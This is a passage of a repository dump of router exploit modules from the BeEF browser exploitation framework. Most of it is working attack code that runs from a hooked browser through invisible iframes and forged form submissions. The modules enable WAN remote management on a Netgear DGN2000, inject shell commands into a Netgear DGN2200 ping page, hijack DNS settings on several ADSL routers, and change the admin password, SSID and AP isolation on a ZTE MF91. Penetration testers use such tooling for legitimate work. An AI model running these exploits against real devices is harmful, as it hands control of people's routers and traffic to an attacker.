},\n    { type: 'hidden', name: 'rm_list1_ip8_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip8_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip8_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip8_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip9_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip9_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip9_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip9_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip10_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip10_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip10_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip10_ip4', value: '' },\n    { type: 'hidden', name: 'rm_access', value: acl },\n    { type: 'hidden', name: 'remote_port', value: port },\n    { type: 'hidden', name: 'apply', value: 'Apply' },\n    { type: 'hidden', name: 'todo', value: 'save' },\n    { type: 'hidden', name: 'this_file', value: 'remotemg.htm' },\n    { type: 'hidden', name: 'next_file', value: 'remotemg.htm' },\n    { type: 'hidden', name: 'c4_rm_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_start_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_finish_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip1_ip', value: sourceip },\n    { type: 'hidden', name: 'c4_rm_list1_ip2_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip3_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip4_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip5_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip6_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip7_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip8_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip9_ip', value: '' },\n    { type: 'hidden', name: 'c4_rm_list1_ip10_ip', value: '' },\n    { type: 'hidden', name: 'h_remote_mg', value: 'enable' },\n    { type: 'hidden', name: 'h_rm_access', value: acl }\n  ]);\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(netgear_iframe);\n\t}\n\n\tsetTimeout('cleanup()', 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Netgear_dgn_2000_wan_mgmt_csrf:\n            enable: true\n            category: [ \"Exploits\", \"Router\" ]\n            name: \"Netgear DGN 2000 WAN Remote Management\"\n            description: \"Attempts to enable remote management of the router on the WAN\"\n            authors: [\"Nick Starke\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Netgear_dgn_2000_wan_mgmt_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router URL', 'value' => 'http://192.168.0.1' },\n      { 'name' => 'port', 'ui_label' => 'Port', 'value' => 8080 },\n      { 'name' => 'sourceip', 'ui_label' => 'Source IP', 'value' => '0.0.0.0' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2200_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost = '<%= @rhost %>'; \n\tvar cmd = '<%= Base64.strict_encode64(@cmd) %>';\n\tvar timeout = 15;\n\n\tvar netgear_dgn2200_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\t\n\tnetgear_dgn2200_iframe_<%= @command_id %>.setAttribute('src',\"http://\" + rhost + \"/ping.cgi?IPAddr1=8&IPAddr2=8&IPAddr3=8&IPAddr4=8&ping=Ping&ess_=\" + Math.random().toString(36).substring(2,10) + \"&ping_IPAddr=`\" + beef.encode.base64.decode(cmd) + \"`\");\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n    \n\tcleanup = function() {\n\t\tdocument.body.removeChild(netgear_dgn2200_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        netgear_dgn2200_cmd_exec:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Netgear DGN2200 Command Execution\"\n            description: \"This module exploits <a href='http://securitygodmode.blogspot.com/2016/02/netgears-dgn2200-multiple.html'>authentication bypass and command execution vulnerabilities</a> to execute arbitrary commands on Netgear DGN2200 routers.\"\n            authors: [\"0x3d5157636b525761\", \"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Netgear_dgn2200_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'IP address', 'value' => '10.0.0.1' },\n      { 'name' => 'cmd', 'ui_label' => 'Command to execute', 'value' => '' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/phillips_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/cgi-bin/setup_dns.exe';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate primary DNS server IP address\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tvar parts = dns1.split('.');\n\tvar dns1_1 = parts[0];\n\tvar dns1_2 = parts[1];\n\tvar dns1_3 = parts[2];\n\tvar dns1_4 = parts[3];\n\n\t// validate secondary DNS server IP address\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tvar parts = dns2.split('.');\n\tvar dns2_1 = parts[0];\n\tvar dns2_2 = parts[1];\n\tvar dns2_3 = parts[2];\n\tvar dns2_4 = parts[3];\n\n\t// change DNS\n\tvar philips_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'page',   'value':'setup_dns'},\n\t\t{'type':'hidden', 'name':'logout', 'value':''},\n\t\t{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},\n\t\t{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},\n\t\t{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},\n\t\t{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},\n\t\t{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},\n\t\t{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},\n\t\t{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},\n\t\t{'type':'hidden', 'name':'dns2_4', 'value':dns2_4}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(philips_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/phillips_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://bugzilla.mozilla.org/show_bug.cgi?id=371598\n# http://www.gnucitizen.org/blog/router-hacking-challenge/\n#\nbeef:\n    module:\n        philips_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Philips DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Philips router.<br/><br/>Philips routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"bob\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/phillips_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\nclass Philips_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/pikatel_96338_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var pikatel_96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(pikatel_96338_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/pikatel_96338_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40369/\n#\nbeef:\n    module:\n        pikatel_96338_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"PIKATEL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on PIKATEL 96338WS and 96338L-2M-8M routers.<br/><br/>These routers reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/pikatel_96338_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Pikatel_96338_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var planet_vdr300nu_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(planet_vdr300nu_adsl_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40370/\n#\nbeef:\n    module:\n        planet_vdr300nu_adsl_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Planet VDR-300NU ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a PLANET VDR-300NU ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Planet_vdr300nu_adsl_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n\t// change DNS\n\tvar shuttle_tech_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n\t\t{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n\t\t{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n\t\t{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(shuttle_tech_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.exploit-db.com/exploits/35995/\n#\nbeef:\n    module:\n        shuttle_tech_915wm_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Shuttle Tech 915 WM DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Shuttle Tech 915 WM router.<br/><br/>The Shuttle Tech ADSL Modem-Router 915 WM reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Shuttle_tech_915wm_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_pw/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var password = '<%= @password %>';\n  var timeout = 15;\n\n  var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/upd_pwd?password='+password);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem\n# http://www.zte.com.au/downloads/manuals/MF91_Help.pdf\n#\nbeef:\n    module:\n        telstra_zte_mf91_change_pw:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Telstra ZTE MF91 Change Password\"\n            description: \"Attempts to change the administrator password on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to change the password.<br/><br/>This module has not been tested.\"\n            authors: [\"sw1tch\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_pw/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Telstra_zte_mf91_change_pw < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_ssid/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var ssid = '<%= @ssid %>';\n  var timeout = 15;\n\n  var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?ssid='+ssid);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem\n# http://www.zte.com.au/downloads/manuals/MF91_Help.pdf\n#\nbeef:\n    module:\n        telstra_zte_mf91_change_ssid:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Telstra ZTE MF91 Change SSID\"\n            description: \"Attempts to change the wireless SSID on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to change the wireless SSID.<br/><br/>This module has not been tested.\"\n            authors: [\"sw1tch\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Telstra_zte_mf91_change_ssid < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' },\n      { 'name' => 'ssid', 'ui_label' => 'Desired SSID', 'value' => 'BeEF' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var timeout = 15;\n\n  var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?=DISABLE');\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.sw1tch.net/blog/pwning-telstras-zte-mf91-4g-modem\n# http://www.zte.com.au/downloads/manuals/MF91_Help.pdf\n#\nbeef:\n    module:\n        telstra_zte_mf91_disable_ap_isolation:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Telstra ZTE MF91 Disable AP Isolation\"\n            description: \"Attempts to disable AP isolation mode on a Telstra ZTE MF91 Pre-paid 4G modem.<br/><br/>The ZTE MF91 reportedly does not require authentication to disable AP isolation mode.<br/><br/>This module has not been tested.\"\n            authors: [\"sw1tch\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Telstra_zte_mf91_disable_ap_isolation < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target', 'value' => 'telstra.wifi.4g' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/tenda_adsl_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var tenda_adsl_963281tan_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(tenda_adsl_963281tan_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/tenda_adsl_dns_hijack/config.yaml",
